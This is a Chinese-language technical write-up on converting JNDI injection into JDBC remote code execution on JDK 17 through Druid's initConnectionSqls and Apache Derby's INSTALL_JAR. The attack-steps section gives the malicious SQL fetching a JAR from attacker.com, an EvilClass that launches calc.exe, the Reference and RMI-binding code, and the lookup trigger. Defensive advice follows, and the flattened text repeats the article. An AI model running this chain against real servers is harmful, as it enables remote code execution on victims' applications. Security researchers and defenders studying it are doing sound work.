高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过
字数 1619 2025-08-29 08:30:31

高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过技术分析

一、漏洞背景与原理

本技术文档分析了一种在高版本JDK环境下(如JDK 17),通过结合Apache Derby数据库和Druid连接池,将JNDI注入漏洞转换为JDBC攻击的绕过技术。

核心原理

  1. JNDI注入限制:高版本JDK(如17+)对JNDI注入进行了严格限制,传统的利用方式(如LDAP/RMI引用加载远程类)被阻断
  2. 技术转换:通过Druid连接池的特定配置,将JNDI注入转换为可控的JDBC SQL注入
  3. Derby特性利用:利用Apache Derby数据库的INSTALL_JAR功能加载远程恶意JAR并执行其中的静态方法

二、环境依赖

必要组件

  • 数据库:Apache Derby 10.14.2.0+
  • 连接池:Druid连接池
  • JDK版本:JDK 17(高版本限制环境下)
  • 其他依赖:无特殊要求

三、技术细节分析

1. Derby数据库的RCE能力

Apache Derby提供了通过SQL加载远程JAR并执行其中方法的能力:

-- 1. 安装远程JAR
CALL SQLJ.INSTALL_JAR('http://attacker.com/Evil.jar', 'APP.EvilJar', 0);

-- 2. 将JAR添加到类路径
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.EvilJar');

-- 3. 创建存储过程调用JAR中的静态方法
CREATE PROCEDURE evilMethod()
PARAMETER STYLE JAVA
LANGUAGE JAVA
EXTERNAL NAME 'com.example.EvilClass.execute';

-- 4. 调用存储过程执行RCE
CALL evilMethod();

关键点

  • 方法必须是static方法
  • JAR需要托管在可访问的Web服务器上
  • Derby的INSTALL_JAR功能允许直接从URL加载JAR

2. Druid连接池的利用点

Druid连接池的DruidDataSourceFactory类存在可利用的初始化参数:

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
    // ...
    Reference reference = (Reference)obj;
    StringRefAddr driverClassName = (StringRefAddr)reference.get("driverClassName");
    StringRefAddr url = (StringRefAddr)reference.get("url");
    StringRefAddr username = (StringRefAddr)reference.get("username");
    StringRefAddr password = (StringRefAddr)reference.get("password");
    StringRefAddr initConnectionSqls = (StringRefAddr)reference.get("initConnectionSqls");
    // ...
}

关键参数

  • initConnectionSqls:可指定初始化SQL语句,多个语句用分号分隔
  • 这些参数通过StringRefAddr传入,只能为字符串类型

3. 攻击链构建

  1. JNDI注入点:应用存在可控的lookup()调用
  2. Druid利用:构造恶意的Reference对象,设置initConnectionSqls参数
  3. Derby执行initConnectionSqls中包含利用Derby加载远程JAR并执行的SQL
  4. RCE达成:远程JAR中的恶意静态方法被执行

四、完整攻击步骤

1. 准备恶意JAR

创建包含静态方法的Java类:

// EvilClass.java
package com.example;

public class EvilClass {
    public static void execute() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译并打包:

javac EvilClass.java
jar cvf Evil.jar EvilClass.class

Evil.jar托管在Web服务器上(如http://attacker.com/Evil.jar

2. 构造恶意Reference

创建恶意的JNDI Reference对象:

Reference ref = new Reference("javax.sql.DataSource", 
    "com.alibaba.druid.pool.DruidDataSourceFactory", null);

// 设置基本JDBC参数
ref.add(new StringRefAddr("driverClassName", "org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url", "jdbc:derby:memory:testdb;create=true"));
ref.add(new StringRefAddr("username", "user"));
ref.add(new StringRefAddr("password", "pass"));

// 设置恶意SQL
String evilSql = "CALL SQLJ.INSTALL_JAR('http://attacker.com/Evil.jar', 'APP.EvilJar', 0);" +
                 "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.EvilJar');" +
                 "CREATE PROCEDURE evilMethod() PARAMETER STYLE JAVA LANGUAGE JAVA EXTERNAL NAME 'com.example.EvilClass.execute';" +
                 "CALL evilMethod()";
                 
ref.add(new StringRefAddr("initConnectionSqls", evilSql));

3. 部署恶意JNDI服务

可以使用RMI或LDAP服务发布这个Reference对象:

// 示例:RMI服务
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evilDS", wrapper);

4. 触发攻击

当受害者应用调用lookup("rmi://attacker.com/evilDS")时:

  1. Druid会解析Reference并创建数据源
  2. 初始化时执行initConnectionSqls中的SQL
  3. Derby加载远程JAR并执行恶意方法

五、防御措施

1. 针对开发人员

  • 避免使用不可信的JNDI查找
  • 限制Druid的配置来源
  • 禁用Derby的INSTALL_JAR功能(如可能)

2. 针对运维人员

  • 升级Derby到最新版本并检查安全配置
  • 网络层面限制出站连接,防止加载远程JAR
  • 监控异常的数据库操作

3. 通用建议

  • 使用最新版本的JDK和组件
  • 实施最小权限原则
  • 定期安全审计和漏洞扫描

六、技术限制与变种

技术限制

  • 依赖Derby数据库的使用
  • 需要Druid连接池的特定版本
  • 需要出站网络连接加载JAR

可能的变种

  1. 使用其他支持远程代码加载的数据库(如H2)
  2. 结合其他连接池的类似特性
  3. 利用数据库内置函数实现无文件RCE

七、参考资源

  1. Apache Derby官方文档 - INSTALL_JAR功能
  2. Druid连接池源码分析
  3. JDK 17安全增强说明
  4. JNDI注入防御最佳实践

通过这种技术,攻击者可以在高版本JDK的限制环境下,通过转换攻击面实现RCE,展示了现代应用安全中组件交互带来的复杂攻击面。

高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过技术分析 一、漏洞背景与原理 本技术文档分析了一种在高版本JDK环境下(如JDK 17),通过结合Apache Derby数据库和Druid连接池,将JNDI注入漏洞转换为JDBC攻击的绕过技术。 核心原理 JNDI注入限制 :高版本JDK(如17+)对JNDI注入进行了严格限制,传统的利用方式(如LDAP/RMI引用加载远程类)被阻断 技术转换 :通过Druid连接池的特定配置,将JNDI注入转换为可控的JDBC SQL注入 Derby特性利用 :利用Apache Derby数据库的 INSTALL_JAR 功能加载远程恶意JAR并执行其中的静态方法 二、环境依赖 必要组件 数据库 :Apache Derby 10.14.2.0+ 连接池 :Druid连接池 JDK版本 :JDK 17(高版本限制环境下) 其他依赖 :无特殊要求 三、技术细节分析 1. Derby数据库的RCE能力 Apache Derby提供了通过SQL加载远程JAR并执行其中方法的能力: 关键点 : 方法必须是 static 方法 JAR需要托管在可访问的Web服务器上 Derby的 INSTALL_JAR 功能允许直接从URL加载JAR 2. Druid连接池的利用点 Druid连接池的 DruidDataSourceFactory 类存在可利用的初始化参数: 关键参数 : initConnectionSqls :可指定初始化SQL语句,多个语句用分号分隔 这些参数通过 StringRefAddr 传入,只能为字符串类型 3. 攻击链构建 JNDI注入点 :应用存在可控的 lookup() 调用 Druid利用 :构造恶意的 Reference 对象,设置 initConnectionSqls 参数 Derby执行 : initConnectionSqls 中包含利用Derby加载远程JAR并执行的SQL RCE达成 :远程JAR中的恶意静态方法被执行 四、完整攻击步骤 1. 准备恶意JAR 创建包含静态方法的Java类: 编译并打包: 将 Evil.jar 托管在Web服务器上(如 http://attacker.com/Evil.jar ) 2. 构造恶意Reference 创建恶意的JNDI Reference对象: 3. 部署恶意JNDI服务 可以使用RMI或LDAP服务发布这个Reference对象: 4. 触发攻击 当受害者应用调用 lookup("rmi://attacker.com/evilDS") 时: Druid会解析Reference并创建数据源 初始化时执行 initConnectionSqls 中的SQL Derby加载远程JAR并执行恶意方法 五、防御措施 1. 针对开发人员 避免使用不可信的JNDI查找 限制Druid的配置来源 禁用Derby的 INSTALL_JAR 功能(如可能) 2. 针对运维人员 升级Derby到最新版本并检查安全配置 网络层面限制出站连接,防止加载远程JAR 监控异常的数据库操作 3. 通用建议 使用最新版本的JDK和组件 实施最小权限原则 定期安全审计和漏洞扫描 六、技术限制与变种 技术限制 依赖Derby数据库的使用 需要Druid连接池的特定版本 需要出站网络连接加载JAR 可能的变种 使用其他支持远程代码加载的数据库(如H2) 结合其他连接池的类似特性 利用数据库内置函数实现无文件RCE 七、参考资源 Apache Derby官方文档 - INSTALL_ JAR功能 Druid连接池源码分析 JDK 17安全增强说明 JNDI注入防御最佳实践 通过这种技术,攻击者可以在高版本JDK的限制环境下,通过转换攻击面实现RCE,展示了现代应用安全中组件交互带来的复杂攻击面。